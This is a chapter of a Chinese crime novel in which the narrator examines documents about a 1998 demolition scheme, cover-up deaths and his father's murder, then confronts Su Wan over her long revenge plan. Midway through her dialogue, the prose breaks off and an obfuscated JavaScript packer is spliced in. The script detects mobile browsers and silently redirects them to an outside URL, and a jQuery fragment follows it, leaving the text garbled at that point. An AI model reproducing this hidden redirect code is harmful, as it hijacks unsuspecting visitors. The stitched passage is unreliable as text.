江水是这座城市唯一说实话的东西，它不说谎，不掩饰，只是日复一日地流，把上游的污浊带到下游，把昨天的尸体冲进明天的海洋。夜色里的江面像一块巨大的、打碎了的黑玻璃，倒映着两岸的霓虹，但那些光浮在表面，沉不下去。真正的江水在下面，黑暗的，冰冷的，裹挟着泥沙、垃圾、工业废水和无数个无人认领的秘密。
我站在江边的栏杆旁，手里攥着那个牛皮纸文件袋。袋子很厚，边缘已经被我的汗水浸软了。风吹过来，带着江水特有的腥味，还有远处码头传来的柴油机气味。对岸，“远大·滨江新城”的巨型广告牌亮着，霓虹灯组成的赵承德头像在夜色中微笑，下面是一行字：“为城市创造更美好的明天”。
美好的明天。我咀嚼着这个词，喉咙里泛起一股铁锈般的苦涩。
文件袋里的东西，我已经看了三个小时。从下午在图书馆旧馆拿到它开始——苏晚发来短信，只给了一个地址和时间，像地下接头——我就坐在阅览室最角落的位置，在日光灯惨白的光线下，一页一页地翻。
不是复印件，是原件。纸张泛黄，边缘卷曲，有些页面上有深褐色的污渍，像干涸的血迹。第一份是《“凤凰计划”拆迁户登记及补偿明细表》，1998年9月制表。表格用蓝色的复写纸誊写，字迹已经有些模糊，但还能辨认。
棉纺三厂家属区，共计住户317户，登记人口1246人。补偿方案一栏，密密麻麻地写着数字：按面积折算，每平方米补偿价380元；而同一时期，隔壁新建的商品房小区，售价是每平方米2200元。差额栏里，有人用红笔写了一个词：“政策差价”。
政策差价。四个字，吃掉了一千多个家庭半辈子的积蓄。
我往后翻。第二份是《拆迁工作推进情况周报》，日期是1998年11月。汇报人：赵承德（时任远大建筑公司总经理）。内容摘要：“本周完成强制拆迁14户，剩余23户中，有7户态度顽固，多次煽动其他住户对抗。建议采取重点突破策略，对带头者进行‘特殊处理’。”
特殊处理。这个词旁边，有人用钢笔写了两个小字，字迹很轻，几乎看不清：“已办。”
我翻到下一份文件时，手开始抖。那是一份《意外事件情况说明》，1998年12月5日。事由：“棉纺三厂退休职工金大年（男，61岁）在拆迁现场突发心脏病，经抢救无效死亡。”情况说明很简单，只有半页纸，说金大年“情绪激动，与工作人员发生口角后倒地”，120到场时已无生命体征。结论：“属意外事件，建议给予人道主义补偿金两万元。”
两万元。一条命。
文件最后附着三张照片。黑白照片，像素很低，但足够看清：第一张，一个老人躺在地上，周围站着几个穿制服的人，表情冷漠；第二张，老人的妻子跪在地上哭，旁边有个小女孩，大约五六岁，睁大眼睛看着镜头，眼神空洞；第三张，推土机正在推倒一栋二层小楼，烟尘滚滚。
我盯着那个小女孩的脸。虽然只有五六岁，但眉眼的轮廓，那种倔强的神态……我见过。在老金给我的全家福上，在他讲述往事时浑浊的眼睛里。
金卫国。老金的父亲。而那个跪在地上哭的女人，是老金的母亲。那个睁大眼睛的小女孩……是老金的妹妹？不，老金是独子。那可能是邻居的孩子，或者远房亲戚。不重要。重要的是，那一刻被永远定格在了这张发黄的照片上：一个人的死亡，一个家庭的崩溃，一个女孩童年的终结。
我继续翻。后面的文件越来越厚，也越来越触目惊心。
1999年1月，《关于苏建国一家“火灾事故”的调查报告》。苏建国，棉纺三厂技术员，是最后一批拒绝搬迁的“钉子户”之一。报告称，1998年12月24日晚，苏家居住的筒子楼因“电路老化”引发火灾，苏建国及其妻子当场死亡，女儿苏秀兰（14岁）严重烧伤，送医后不治。报告结论：“经调查，未发现人为纵火证据。”
但附件里有一份手写的值班记录，是当晚在拆迁指挥部值班的一个保安写的：“12月24日晚8点，赵总带三个人过来，让我去门口守着。他们在里面待了半小时，出来时身上有汽油味。9点左右，苏家那边就着火了。”
这份值班记录没有被装订进正式报告，只是用回形针夹在最后一页。写记录的人叫王志刚，1999年3月因“盗窃工地建材”被开除，同年5月死于一场“交通事故”，肇事司机逃逸。
苏建国。苏秀兰。
我想到苏晚。她从来没说过自己的全名。苏晚是她的真名吗？还是她后来改的？她和这个苏建国、苏秀兰是什么关系？姐妹？亲戚？还是……就是同一个人？
文件翻到最后几页，是一份名单。《“凤凰计划”相关“意外事件”涉及人员及处理情况汇总》。表格里列了十二个名字，每个名字后面跟着死因、时间、处理结果。死因五花八门：心脏病、脑溢血、交通事故、溺水、火灾、坠楼。处理结果清一色是：“一次性补偿，家属签署免责声明”。
而在表格最下方，用红笔画了一个大大的圈，圈住了三个字：沈建国。
我父亲的名字，死因栏写着：“交通事故，2001年7月15日”。处理结果：“肇事者醉驾，已判刑。无其他关联。”
但在这行字旁边，有人用不同的笔迹写了一段话，字很小，挤在边缘：“沈建国，《城市晚报》记者，死前正在调查‘凤凰计划’后续安置问题。曾多次向有关部门举报赵承德。车祸现场有目击者称，看到肇事车辆在事故前跟踪沈建国车辆超过二十分钟。该目击者后改口，称‘看错了’。”
这段话没有署名。笔迹很陌生，不是我父亲的，也不是我见过的任何人的。
我坐在图书馆的椅子上，看着这段话，看了很久。久到日光灯发出滋滋的电流声，久到窗外的天色从昏黄变成深蓝，久到管理员过来提醒闭馆时间。
我没有哭，没有愤怒，甚至没有特别的感觉。就像被人用钝器在胸口重重砸了一下，最初是麻木的，要过很久，疼痛才会慢慢渗出来，渗进每一根骨头里。
我知道父亲是被人害死的。这些年我一直知道，只是不愿意去证实。因为证实了，就意味着我必须做点什么，而我又能做什么呢？一个被行业封杀的摄影师，一个连房租都交不起的烂人，去对抗赵承德那样的庞然大物？
所以我选择了逃避。用犬儒主义当盾牌，用嘲讽当武器，告诉自己这个世界就是这样，好人没好报，坏人活千年，别太认真，认真你就输了。
直到顾远的死。直到老金的死。直到现在，看到父亲的名字白纸黑字地出现在这份死亡名单上。
我才明白，有些债，是逃不掉的。它会一代一代地传下来，从父亲传到儿子，从施害者传到受害者，从二十年前传到今天，直到有人用血来偿还。
所以我来了江边。苏晚约的地方。她到的时候已经是晚上九点。没有开车，步行来的，穿着一件黑色的长风衣，围巾裹着脸，只露出眼睛。江风很大，吹起她的长发，像一面黑色的幡。
“看完了？”她走到我身边，靠在栏杆上，看着江面。
“看完了。”我说。声音嘶哑，像砂纸磨过。
“什么感觉？”
我没有回答，反问她：“苏秀兰是谁？”
她沉默了几秒钟。江上的货轮拉响汽笛，声音沉闷，传得很远。
“是我姐姐。”她终于说，“亲姐姐。”
“那苏建国——”
“是我父亲。”她转过头，看着我。夜色里，她的眼睛很亮，像两点冰冷的火星。“苏晚不是我的本名。我本名叫苏小兰。姐姐叫苏秀兰，大我六岁。”
她解下围巾。江边的路灯照在她脸上，我第一次这么仔细地看她的脸——不是看她的美貌，而是看那些细节：左边眉骨上有一道淡淡的疤痕，鼻梁微微歪斜，像是断过又重新长好的，下巴的线条很硬，和她的妩媚形成一种诡异的对比。
“这道疤，”她指了指眉骨，“是火灾那晚留下的。姐姐把我从窗户推出去，她自己没来得及。我摔在楼下堆放的建筑垃圾上，钢筋划破了脸。后来被送到医院，脸上缝了十七针。”
她的语气很平静，像在说别人的事。
“我父母和姐姐的尸体，三天后才被认领。因为烧得太厉害，要靠DNA鉴定。赵承德派人送来五万块钱，说是‘人道主义救助金’。我舅舅——我母亲唯一的弟弟——收下了钱，签了字。然后把我送进了孤儿院。”
她顿了顿，从口袋里掏出一包烟，点燃一支。火光在她脸前一晃，照亮了她眼睛里某种坚硬的东西。
“我在孤儿院待了四年。十四岁到十八岁。那四年，我学会了三件事：第一，不要相信任何人；第二，美貌是武器；第三，仇恨是燃料。”她吐出一口烟，“十八岁生日那天，我离开了孤儿院。改了名字，做了点小手术调整了脸上的伤，然后去了‘夜泊’应聘。”
“你计划了多久？”我问。
“十年。”她说，“从十八岁到二十八岁，我用十年时间，从一个端茶倒水的服务员，变成‘夜泊’的头牌，变成赵承德的情人，变成他最信任的‘红颜知己’。我陪他出席各种场合，听他吹嘘自己的发家史，听他讲‘凤凰计划’是他人生最得意的作品之一。每次他讲这些，我都要笑，要崇拜地看着他，要夸他真厉害。而我心里想的是，总有一天，我要把你从那个王座上拉下来，让你跪在我父母的坟前磕头。”
她说这话时，脸上没有任何表情。没有愤怒，没有悲伤，只有一种深不见底的冰冷。
“顾远的死，是你计划的？”我问。
“不完全是。”她摇头，“顾远是自己发现了公司的秘密。他太天真，以为可以凭一己之力揭发赵承德。他找到我，以为我是‘被压迫的女性’，以为我可以帮他。我利用了他，给了他一些假线索，让他去查一些无关紧要的东西，想让他知难而退。但他太固执，查到了不该查的——他发现了林涛在洗钱的证据。”
“然后林涛杀了他？”
“赵承德下的命令，林涛执行。”苏晚说，“顾远死的那天晚上，我在场。赵承德让我去‘安抚’他，让我套他的话，看他到底知道多少。我去了，顾远很警惕，什么也不肯说。我离开后不到半小时，他就‘跳楼’了。”
她弹了弹烟灰：“我知道他会死。但我没阻止。因为那时候，我的计划还没准备好。我需要更多时间，需要拿到更多证据。顾远的死……是必要的牺牲。”
必要的牺牲。这个词让我浑身发冷。
“那老金呢？”我的声音在颤抖，“他的自焚，也是‘必要的牺牲’吗？”
苏晚沉默了。她看着江面，很久没有说话。烟在她指间慢慢燃尽，灰白色的烟灰被风吹散，落入黑暗。
“金卫国……”她终于开口，声音很轻，“我认识他。在他去‘夜泊’找清洁工工作之前，我就认识他。两年前，我以慈善志愿者的名义去过福利院，见过他和金贝贝。我知道他的故事，知道他女儿的病，知道他走投无路。但我没帮他。因为我需要他。”
“需要他什么？”
“需要他成为一根导火索。”她转回头，看着我，眼神锐利如刀，“沈默，你还不明白吗？赵承德这种人是不会因为一两个证据倒台的。他有关系网，有律师团，有钱，有地位。普通的举报、揭发，对他没用。就像二十年前，我父亲和那些死去的人，他们的死有人管吗？没有。因为死得不够响，不够惨，不够让所有人看见。”
她的声音提高了，在江风中显得格外刺耳：“所以我要让一个人，在所有人面前，用最惨烈的方式去死。要让他的死成为一面镜子，照出赵承德脸上的血。要让所有人都看见，都记住，都不得不去问：为什么？为什么会有人宁愿把自己烧死，也要控诉这个人？”
“所以你就给了老金汽油？就安排他混进晚宴？”我的拳头攥紧了，指甲嵌进掌心，“你就看着他去死？看着贝贝成为孤儿？”
“我没有给他汽油。”苏晚冷冷地说，“我只是给了他一个机会——一个进入晚宴工作的机会。至于汽油，是他自己准备的。至于死，是他自己选的。我只是……没有阻止。”
“那和亲手杀了他有什么区别？！”
“区别在于，我没有碰他一根手指头。”苏晚靠近我，我们的脸几乎贴在一起，我能闻到她身上香水掩盖下的、淡淡的烟草味，“沈默，别摆出一副道德高尚的样子。你和我有什么区别？你明知道老金会做傻事，你阻止了吗？你答应照顾贝贝，不也是用她的未来，来安抚你自己的良心吗？我们都在利用别人的悲剧，来推进自己的计划。你是，我是，林涛是，赵承德也是。区别只在于，有些人承认，有些人不承认。”
她的话像冰锥，刺穿了我所有的伪装。我张了张嘴，想反驳，但发不出声音。因为她说的是对的。
我答应了老金照顾贝贝，但我真的能照顾她吗？我自己都活得像条丧家之犬。我查顾远的死因，真的是为了正义吗？还是为了安抚自己的愧疚——愧疚在他死前，我没有多关心他一点？我接近苏晚，真的只是为了真相吗？还是也被她的美貌和神秘所吸引，幻想着能成为拯救她的英雄？
我们都是烂人。只是烂的方式不同。
“你看。”苏晚退后一步，嘴角勾起一个嘲讽的弧度，“你也说不出话了。因为你知道我说的是真的。在这场游戏里，没有人是干净的。赵承德手上沾着我父母的血，林涛手上沾着顾远的血，我手上沾着老金的血——间接的，但依然是血。而你，沈默，你手上沾着什么？你父亲的？顾远的？还是……你自己的良心？”
江风更大了。对岸的霓虹灯广告牌闪烁了几下，赵承德的笑脸在夜色中明明灭灭。
“你给我的这些文件，”我举起手里的牛皮纸袋，“是完整的吗？”
“不完整。”苏晚说，“只是‘凤凰计划’的部分。但我有完整的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016470|194201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
——从1998年到现在，远大集团所有的黑账、贿赂记录、非法交易、人命官司。都在我手里。”
“你从哪里拿到的？”
“十年。”她重复这个词，“我跟了赵承德十年。这十年，我睡在他的床上，偷看他的文件，复制他的电脑数据，偷录他和重要人物的谈话。他把我当宠物，当花瓶，当可以炫耀的收藏品。他从来没想过，这个每天躺在他身边的女人，心里想的是怎么把他送进监狱，怎么让他身败名裂，怎么让他……死。”
她说“死”这个字时，语气很轻，但分量很重。
“那你现在打算怎么做？”我问，“把这些文件公开？”
“公开？”苏晚笑了，笑声很冷，“公开给谁？媒体？赵承德控制着这座城市一半的媒体。纪委？你知道他每年‘孝敬’多少人吗？法院？他有全市最好的律师团队。公开，只会让我死得更快。”
她顿了顿：“不，我要用这些文件，做一场交易。”
“和林涛？”
“你知道了？”她有些意外。
“猜的。”我说，“林涛今晚没出现在医院，赵承德在找他。他这个时候消失，只可能是去找下家了。而能接住他的，只有天启集团。”
苏晚看着我，眼神里有了一丝赞赏：“你比看起来聪明。”
“那你呢？你和林涛合作？”
“暂时的。”她说，“林涛想借天启的手干掉赵承德，自己上位。我想借林涛的手，拿到赵承德更核心的罪证——那些涉及高层官员的部分。等赵承德倒了，林涛上去了，我再把那些证据抛出来，把林涛也拉下来。然后是天启集团，然后是所有和这件事有关的人……一个一个，都别想跑。”
她说这话时，眼睛里闪烁着一种近乎狂热的光。那不是正义的光，那是复仇的火，燃烧了二十年，已经把她整个人都烧空了，只剩下这团火在支撑着她。
“这一切结束后，”我问，声音干涩，“你能得到什么？”
她转过头，看着我，笑了。那笑容是我见过的最美，也最恐怖的笑容——美是因为她真的很美，恐怖是因为那笑容里没有一丝暖意，没有一丝属于人类的温度。那是冰山在月光下的反光，是刀刃在暗室里的寒芒。
“我什么都不要。”她说，声音很轻，像在说一个秘密，“我不要钱，不要权，不要名声，不要自由。我只要一件事：看着他们，一个一个，都下地狱。”
江上的货轮又拉响了汽笛。这次的声音更近，更响，像某种巨兽的哀嚎。
“包括赵承德？”我问。
“当然。”
“包括林涛？”
“当然。”
“包括……”我顿了顿，“那些收了贿赂、包庇罪行、让这一切发生的官员？”
“当然。”
她转头看向江面，侧脸的线条在夜色中显得格外锋利：“我要这座吃了我的父母、我的姐姐、还有无数个老金和他们家人的城市，付出代价。我要让所有人都看看，当你把一个人逼到绝路时，她会变成什么样子。”
风把她的长发吹起，露出脖子上一道浅浅的疤痕——也是烧伤留下的。在精致的妆容和昂贵的衣服下面，是满身的伤痕，二十年前那场大火留下的，永远无法愈合的伤痕。
“那你呢？”我问，“你下了地狱之后呢？”
她转回头，看着我，笑容更深了，深得让我心头发冷。
“包括你，”她说，一字一顿，“也包括我。”
我愣住了。江风在耳边呼啸，但对岸的霓虹灯、江上的货轮、远处的车流声，都突然变得很远，很模糊。整个世界只剩下她这句话，像一句咒语，一个判决，一个早已写好的结局。
“我们所有人，”她继续说，声音平静得像在念悼词，“都是老金那团火里，一粒即将烧尽的尘埃。区别只在于，有些人知道自己会烧尽，有些人不愿意承认。但结局是一样的——无声的呐喊，终究会归于沉寂。”
她伸出手，轻轻碰了碰我手里的文件袋：“这些文件，你留着。这是你父亲用命换来的真相。你有权知道。但知道了之后，你要怎么做，是你的事。继续查，你会死得比顾远更惨。放弃，你会活得比老金更痛苦。没有第三条路。”
说完，她转身，沿着江边的步道往回走。风衣的下摆在风中翻飞，像黑色的翅膀。
“苏晚！”我喊住她。
她停下脚步，但没有回头。
“贝贝……”我说，“金贝贝。她还那么小，她什么都没做错。”
苏晚的背影僵了一下。很久，她才说：“我知道。所以我才把这些文件给你。如果……如果最后我真的失败了，如果我也死了，至少还有人知道真相。至少那个女孩长大以后，能知道她父亲为什么而死。”
“你就不能放过她吗？”我的声音在颤抖，“她已经没有父亲了，你就不能给她留一点希望吗？”
苏晚终于转过身。夜色中，我看不清她的表情，只听见她的声音，穿过风声传来，冰冷而决绝：
“沈默，你还不明白吗？在这座城市里，希望才是最残忍的东西。因为它让你相信还有明天，让你挣扎，让你痛苦，最后还是要死。不如一开始就不要有希望。不如一开始就知道，地狱就在脚下，我们都已经在里面了。”
她顿了顿：“好好照顾那个女孩。如果……如果你真的还有一点良心的话。”
然后她真的走了，消失在江边的夜色里，像一滴墨汁滴进黑色的江水，瞬间就被吞没，不留痕迹。
我站在原地，手里攥着那个牛皮纸袋。江风吹得文件袋沙沙作响，像无数个死者在低语。对岸，赵承德的霓虹灯广告牌还在闪烁，笑容依旧灿烂。
我突然感到一阵彻骨的寒冷。不是江风带来的冷，是从骨头深处渗出来的冷，是从那些泛黄的文件里爬出来的冷，是从二十年前那场大火里蔓延至今的冷。
苏晚说得对。我们都在复仇，都在算计，都在用别人的命铺自己的路。赵承德如此，林涛如此，苏晚如此，我……又何尝不是如此？
我想为父亲报仇，想为顾远讨公道，想为老金做点什么。但每一次伸手，都让事情变得更糟。每一次靠近真相，都离地狱更近一步。我以为自己在对抗黑暗，但其实，我自己也正在变成黑暗的一部分。
这场游戏里，没有幸存者。只有早死和晚死的区别。
我低头看着手里的文件袋。牛皮纸在夜色中泛着暗淡的光。这里面装着二十年的罪恶，装着无数条人命，装着我父亲的死因，也装着我的未来——或者，没有未来。
江上的货轮第三次拉响汽笛。这次的声音更沉闷，更悠长，像最后的告别。
我转过身，背对着江水，背对着赵承德的霓虹灯笑容，背对着这座吞噬了一切的城市，慢慢往回走。
脚步很沉。每走一步，都感觉有什么东西在往下坠，坠进无底的黑暗。而我知道，这只是一个开始。真正的黑暗，还在后面。